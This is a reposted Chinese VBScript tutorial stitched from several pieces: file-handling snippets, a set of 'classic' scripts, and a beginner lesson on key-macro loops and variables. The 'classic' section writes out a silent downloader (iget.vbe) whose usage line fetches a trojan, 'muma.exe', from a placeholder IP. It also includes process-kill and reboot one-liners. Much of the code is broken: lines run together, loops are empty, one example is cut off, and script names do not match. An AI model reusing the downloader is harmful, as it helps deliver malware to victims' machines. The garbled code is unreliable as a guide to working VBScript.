創(chuàng)建文本文件
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile("C:\FSO\ScriptLog.txt")
檢察文件是否存在
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists("C:\FSO\ScriptLog.txt") Then
Else
End If
刪除文本文件
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile("C:\FSO\ScriptLog.txt")
重命名文件
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.MoveFile "C:\FSO\ScriptLog.txt" ,"C:\FSO\BackupLog.txt"
文本操作
讀取全部?jī)?nèi)容
Const ForReading = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("C:\Scripts\Test.txt",ForReading)
strContents = objFile.ReadAll
objFile.Close
一行行的讀取文本文件內(nèi)容
Const ForReading = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile ("c:\scripts\servers.txt",ForReading)
Do Until objTextFile.AtEndOfStream
Loop
objTextFile.Close
追加文本文件一行內(nèi)容
Const ForAppending = 8
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile("C:\Scripts\Service_Status.txt", ForAppending, True)
objTextFile.WriteLine("追加的內(nèi)容")
objTextFile.Close
有用的幾個(gè)函數(shù):
替換:將Jim替換成James。
strNewText = Replace(strText, "Jim ", "James ")
用逗號(hào)分隔字符串:
arrpath=split(strDN,",")
wscript.echo arrpath(0)
幾個(gè)實(shí)例:
讀取文本文件指定的行內(nèi)容(讀第四行內(nèi)容存到strLine變量中)
Const ForReading = 1
Set objFSO = CreateObject("Scripting.FileSystemObject") SetobjTextFile = objFSO.OpenTextFile("mylogfile.log", ForReading)
For i = 1 to 3 objTextFile.ReadLine Next
strLine = objTextFile.ReadLine Wscript.Echo strLine
objTextFile.Close
對(duì)文本文件中的項(xiàng)計(jì)數(shù)
On Error Resume NextConst adOpenStatic = 3Const adLockOptimistic= 3Const adCmdText
一些經(jīng)典的vbs腳本
1.文件下載(無(wú)回顯)
echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
echo Set xPost = CreateObject("Microsoft.XMLHTTP")>>iget.vbe
echo xPost.Open "GET",iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = CreateObject("ADODB.Stream")>>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile iLocal,2 >>iget.vbe
用法: cscript hget.vbs http://111.111.111.111/muma.exemuma.exe
2.列舉進(jìn)程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_>>ps.vbs
@echo wscript.echops.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next>>ps.vbs
用法:cscript ps.vbs
3.終止進(jìn)程
@echo for each ps in getobject _ >pskill.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_>>pskill.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echops.terminate:end if:next >>pskill.vbs
用法:cscript pskill.vbs pid
4.重啟系統(tǒng)
@echo for each os in getobject _ >reboot.vbs
@echo("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_>>reboot.vbs
@echo os.win32shutdown(2):next >>reboot.vbs
用法:cscript reboot.vbs
腳本-學(xué)習(xí)VBS的一個(gè)不錯(cuò)的教程發(fā)布
現(xiàn)在看到很多朋友都不明白VBS,但我也沒(méi)有時(shí)間全部寫(xiě)完,所以一天寫(xiě)一些,邊寫(xiě)邊和大家交流,也希望有朋友能接著寫(xiě)或指出我的錯(cuò)誤。
今天我就從總體上對(duì)VBS進(jìn)行介紹,希望能給大家一個(gè)直觀的印象。另外,講解與按鍵官網(wǎng)的按鍵精靈教程(李悅制作)相結(jié)合,幫大家看懂這個(gè)東東。
一、概述
要讓計(jì)算機(jī)做事情就必須由人給它指令。原來(lái)的指令很復(fù)雜,都是些0011001之類的東西,后來(lái)逐漸簡(jiǎn)化,指令也更接近于人類的語(yǔ)言。VBS(Microsoft(R)Visual Basic(R)Scripting)也是高級(jí)語(yǔ)言的一種,和其他高級(jí)語(yǔ)言相比,它有簡(jiǎn)單易學(xué)的特點(diǎn),是電腦初學(xué)者涉足編程領(lǐng)域的良好入口。
如果說(shuō)從低級(jí)語(yǔ)言進(jìn)化到高級(jí)語(yǔ)言是人類控制計(jì)算機(jī)的戰(zhàn)略問(wèn)題,那么具體的設(shè)置變量、循環(huán)就是控制計(jì)算機(jī)的具體戰(zhàn)術(shù)問(wèn)題。我們現(xiàn)在學(xué)習(xí)的也就是用VBS讓計(jì)算機(jī)為我們工作的戰(zhàn)術(shù)。
二、從最簡(jiǎn)單的東西入手。
網(wǎng)絡(luò)叫賣腳本:
vbs i
vbs i=10
while i>0
SayString 賣XXX,價(jià)格面議。
vbs i=i-1
delay 10000
endfor
看到這個(gè)腳本很多人就嗤之以鼻了,實(shí)現(xiàn)不斷叫賣的方法很多,有的比這個(gè)腳本簡(jiǎn)單幾倍。但隨著講解的進(jìn)行,我們會(huì)發(fā)覺(jué)VBS提供給我們的是一個(gè)強(qiáng)大的工具。下面先來(lái)這幾行都是什么意思。
vbs i //告訴計(jì)算機(jī)有個(gè)叫i的變量。
vbs i=10 //這個(gè)變量為10
while i>0//當(dāng)這個(gè)變量大于0的時(shí)候就執(zhí)行下面直到看見(jiàn)第一個(gè)endfor的地方。
SayString 賣XXX,價(jià)格面議。 //按鍵語(yǔ)句:輸出文字
vbs i=i-1 //這個(gè)變量減去1,然后又把減1后的數(shù)作為i的值。
delay 10000 //按鍵語(yǔ)句:暫停10秒(10000毫秒)
endfor //回到while處
效果:叫賣10次后就結(jié)束。
現(xiàn)在我要花點(diǎn)力氣解釋一下為什么要折騰出這么多麻煩的東西。
變量的用處和重要性
其實(shí)這個(gè)程序完全可以寫(xiě)成
SayString 賣XXX,價(jià)格面議。
delay 10000
SayString 賣XXX,價(jià)格面議。
delay 10000
……重復(fù)N次
SayString 賣XXX,價(jià)格面議。
delay 10000
其實(shí)再?gòu)?fù)雜的程序段都能被還原成順序的程序,用很多復(fù)雜的東東不是為了顯示編程能力,而是為了給自己方便。
當(dāng)我們一直賣XXX的時(shí)候可能沒(méi)有什么感覺(jué),但當(dāng)我們賣YYY的時(shí)候呢?要全部改過(guò)嗎?或者我們要重復(fù)1000次,后來(lái)只重復(fù)500次了,難道要認(rèn)真地?cái)?shù)500下,然后刪除后面的嗎?當(dāng)然,我們編這個(gè)小程序改起來(lái)還比較愜意。但要提高發(fā)展就得做大程序,還必須要依靠我們的變量朋友。
變量其實(shí)是一個(gè)字符代號(hào),象你我的名字一樣,為的是把各個(gè)變量區(qū)別開(kāi)來(lái),讓他們分頭工作。為變量取名字的時(shí)候可以用數(shù)字、字符、和下劃線,但不可以用漢字、空格和其它奇奇怪怪的符號(hào),另外數(shù)字不能用于第一個(gè)字符。
在使用變量之前要先寫(xiě)一個(gè)象vbsi這樣的語(yǔ)句,意思是現(xiàn)在本人指派一變量,取名為i,參加到這個(gè)程序運(yùn)行中。其實(shí)你可以不用履行這樣的報(bào)名程序,直接在程序的某處使用i,但實(shí)踐證明這是一個(gè)不好的習(xí)慣,讓你寫(xiě)大程序的時(shí)候寸步難行。
然后vbsi=10則告訴程序,這個(gè)變量i現(xiàn)在的值為10,以后凡是用到i的地方,就相當(dāng)于是10在那里。比如vbsj=i+1其實(shí)就相當(dāng)于j=10+1,所以j的值為11。
變量的魅力不僅在于它可以代替數(shù)字,而且還可以代替字符,但和數(shù)字比起來(lái),字符有其特殊性。
比如:
vbs i="字符"
vbs j="串接"
vbs a=i & j
此時(shí)a就是字符串接。注意這里出現(xiàn)的兩個(gè)新符號(hào):"號(hào)和&符號(hào)??赡苡腥艘呀?jīng)猜出來(lái)他們的作用了。"號(hào)之間的內(nèi)容為字符。電腦對(duì)vbsi=10和vbs i="10"有著截然不容的理解。&號(hào)為字符串接號(hào)。如果a=j& i,那么a就是串接字符。
知道了變量的用法后,我們就可以把叫賣程序改得更有趣。比如我們想讓程序說(shuō)不同的話,先說(shuō)10次賣XXX,再說(shuō)10次賣YYY。那我們就可以寫(xiě)成:
vbs i
vbs i=10
while i>0
ifexpression i<=5
SayString 賣XXX,價(jià)格面議。
endif
ifexpression i>5
SayString 賣YYY,價(jià)格面議。
endif
vbs i=i-1
delay 10000
endfor
其實(shí)我們用了個(gè)編程的小技巧,就是用變量i的大小控制程序的走向。可見(jiàn)前5次賣YYY,后5次賣XXX。
或者我們先叫XXX一次,再叫YYY一次,然后重復(fù)前面的動(dòng)作:
vbs i
vbs i=10
while i>0
ifexpression i mod 2 = 0
SayString 賣XXX,價(jià)格面議。
endif
ifexpression i mod 2 = 1
SayString 賣YYY,價(jià)格面議。
endif
vbs i=i-1
delay 10000
endfor
這里也用了一個(gè)用i控制程序運(yùn)行的方法。mod是和+、-、*一樣的運(yùn)算符號(hào),作用是取余數(shù)。如10mod 2 = 0的意思是10除以2,其余數(shù)是0。同樣9 mod 2 = 1,8 mod 2 =0,7 mod 2 = 1,6 mod 2 = 0,5 mod 2 = 1……
哎呀,暫時(shí)寫(xiě)到這里。
該文章轉(zhuǎn)載自腳本之家:http://www.jb51.net/html/200702/114/7259.htm
聯(lián)系客服